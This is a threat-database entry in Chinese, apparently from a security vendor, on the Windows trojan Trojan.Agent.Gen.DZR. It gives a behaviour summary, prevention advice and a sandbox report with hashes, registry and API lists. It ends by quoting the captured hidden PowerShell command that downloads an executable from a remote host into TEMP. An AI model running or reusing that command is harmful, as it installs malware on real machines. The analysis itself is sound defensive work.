威胁数据库 特洛伊木马 Trojan.Agent.Gen.DZR

Trojan.Agent.Gen.DZR

通过CagedTech在 特洛伊木马
发布时间：
最后更新：

威胁评分卡

人气排名： 19,710
威胁级别： 80 % (高的)
初见： July 18, 2026
最后一次露面： September 1, 2026
受影响的操作系统： Windows

Trojan.Agent.Gen.DZR是一款针对 Windows 计算机的危险木马程序。该威胁被评为高危级别，旨在悄无声息地渗透系统，在后台运行恶意代码，并为进一步的攻击打开方便之门。近几个月来，该木马程序一直处于活跃状态，其行为模式与其他常见的通用木马下载器一致，这些下载器通常用于向受感染的计算机传播其他恶意代码。

Trojan.Agent.Gen.DZR 的作用

Trojan.Agent.Gen.DZR 一旦在系统中激活，便会在后台静默运行，不显示任何窗口或明显迹象，普通用户很难察觉。对其行为的分析表明，它严重依赖通过 Windows 命令行执行的隐藏 PowerShell 命令，悄悄地从远程服务器下载其他文件到受感染的计算机上。这些下载的文件通常会保存到临时文件夹中，并可用于安装其他恶意组件。

该木马程序还能通过网络与远程服务器通信，利用标准的互联网连接功能发送和接收数据，这意味着它可以将信息反馈给攻击者，或下载新的指令和有效载荷。它会收集计算机的基本信息，例如用户名、计算机名和网络配置，这些信息可以帮助攻击者定制进一步的攻击或确认感染成功。该恶意软件还包含一些常用的规避检测和分析的技术，例如检查是否存在调试工具以及操纵自身的进程内存。这种隐蔽性、远程通信以及获取和运行更多恶意软件的能力相结合，使其成为一个严重的威胁，因为它可能使黑客获得对受感染系统的广泛控制权。

它通常是如何进入电脑的

Trojan.Agent.Gen.DZR 通常通过欺骗手段传播，而非利用单一的特定漏洞。此类威胁的常见感染途径包括从不可信或恶意网站下载的软件、捆绑安装程序以及伪装成无害文件（例如可执行文件、图像或视频文件）的电子邮件附件。在某些情况下，此类木马会利用未修补的系统漏洞在用户不知情或未经同意的情况下安装自身。由于安装过程旨在静默进行，受害者通常不会察觉到计算机上的任何变化。

用户面临的风险

一旦安装，Trojan.Agent.Gen.DZR 就会给用户带来严重风险。它能够悄无声息地下载并执行其他文件，这意味着它可以成为其他恶意软件（包括间谍软件、勒索软件或远程访问工具）的入口。其信息收集功能引发了人们对隐私的担忧，而网络通信功能则表明攻击者可以远程发出命令或窃取数据。总而言之，受感染的计算机不再安全可靠。

感染迹象

由于这种木马程序旨在隐蔽运行，因此通常不会出现明显的症状。用户可能会注意到异常的网络活动、屏幕上短暂闪现的异常进程或 PowerShell 窗口、系统运行缓慢，或者临时文件夹中出现陌生的文件。安全软件发出的可疑活动警报通常是感染的最可靠指标。

如何做好防护

为了降低感染风险，用户应避免打开来自未知或未经核实发件人的电子邮件附件，尤其是伪装成文档或图像的可执行文件。保持 Windows 操作系统和已安装软件的更新有助于弥补木马程序经常利用的安全漏洞。仅从官方和信誉良好的来源下载软件、避免使用盗版内容以及定期备份重要数据也是有效的防御习惯。运行信誉良好且保持更新的安全软件，并对意外的提示或下载保持警惕，可以有效保护系统免受 Trojan.Agent.Gen.DZR 等威胁的侵害。

分析报告

一般信息

姓： Trojan.Agent.Gen.DZR
签名状态： No Signature

已知样本

MD5: 446f7c40546602daea4c68d1747fda95
SHA1: df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256: D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
文件大小: 408.06 KB,408064字节

Windows 可移植可执行文件属性

  • File doesn't have "Rich" header
  • File doesn't have exports table
  • File doesn't have security information
  • File has TLS information
  • File is 64-bit executable
  • File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
  • File is either console or GUI application
  • File is Native application (NOT .NET application)
  • File is not packed
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

文件特征

  • GetConsoleWindow
  • No Version Info
  • x64

区块信息

总区块数： 1,065
潜在恶意块： 186
白名单区块： 826
未知区块： 53

可视化地图

0 - 可能的保险箱
? - 未知区块
x - 潜在恶意拦截

相似家庭

文件已修改

文件 属性
\device\namedpipe\dav rpc service Generic Read,Write Data,Write Attributes,Write extended,Append data
\device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\wkssvc Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 Generic Write,Read Attributes

注册表修改

键::值 数据 API名称
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 畧Ｄ㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe ﶱｌ㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 必ｏ㪂ǝ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filedirectory %windir%\tracing RegNtPreCreateKey
Show 7 more
HKLM\software\microsoft\tracing\rasmancs::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filedirectory %windir%\tracing RegNtPreCreateKey

Windows API 使用情况

类别 API
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAllocateLocallyUniqueId
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreatePortSection
  • ntdll.dll!NtAlpcCreateSectionView
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
Show 90 more
  • ntdll.dll!NtAlpcQueryInformationMessage
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtAlpcSetInformation
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtAssociateWaitCompletionPacket
  • ntdll.dll!NtCancelTimer2
  • ntdll.dll!NtCancelWaitCompletionPacket
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtCompareSigningLevels
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateIoCompletion
  • ntdll.dll!NtCreateKey
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreatePrivateNamespace
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtCreateTimer2
  • ntdll.dll!NtCreateWaitCompletionPacket
  • ntdll.dll!NtCreateWorkerFactory
  • ntdll.dll!NtDelayExecution
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFlushProcessWriteBuffers
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtFsControlFile
  • ntdll.dll!NtGetCachedSigningLevel
  • ntdll.dll!NtGetCompleteWnfStateSubscription
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcess
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDefaultLocale
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationJobObject
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtQueueApcThread
  • ntdll.dll!NtQueueApcThreadEx2
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReadRequestData
  • ntdll.dll!NtReadVirtualMemory
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationFile
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationObject
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread

以上未显示另外 31 件商品。

Process Manipulation Evasion
  • NtUnmapViewOfSection
Process Shell Execute
  • CreateProcess
Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetComputerName
  • GetUserDefaultLocaleName
  • GetUserName
  • GetUserNameEx
  • GetUserObjectInformation
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges
Network Info Queried
  • GetAdaptersAddresses
  • GetNetworkParams
Network Winsock2
  • WSAConnect
  • WSASend
  • WSASocket
  • WSAStartup
  • WSAttemptAutodialName
Network Winsock
  • closesocket
  • freeaddrinfo
  • getaddrinfo
  • setsockopt
Network Winhttp
  • WinHttpOpen

Shell命令执行

C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe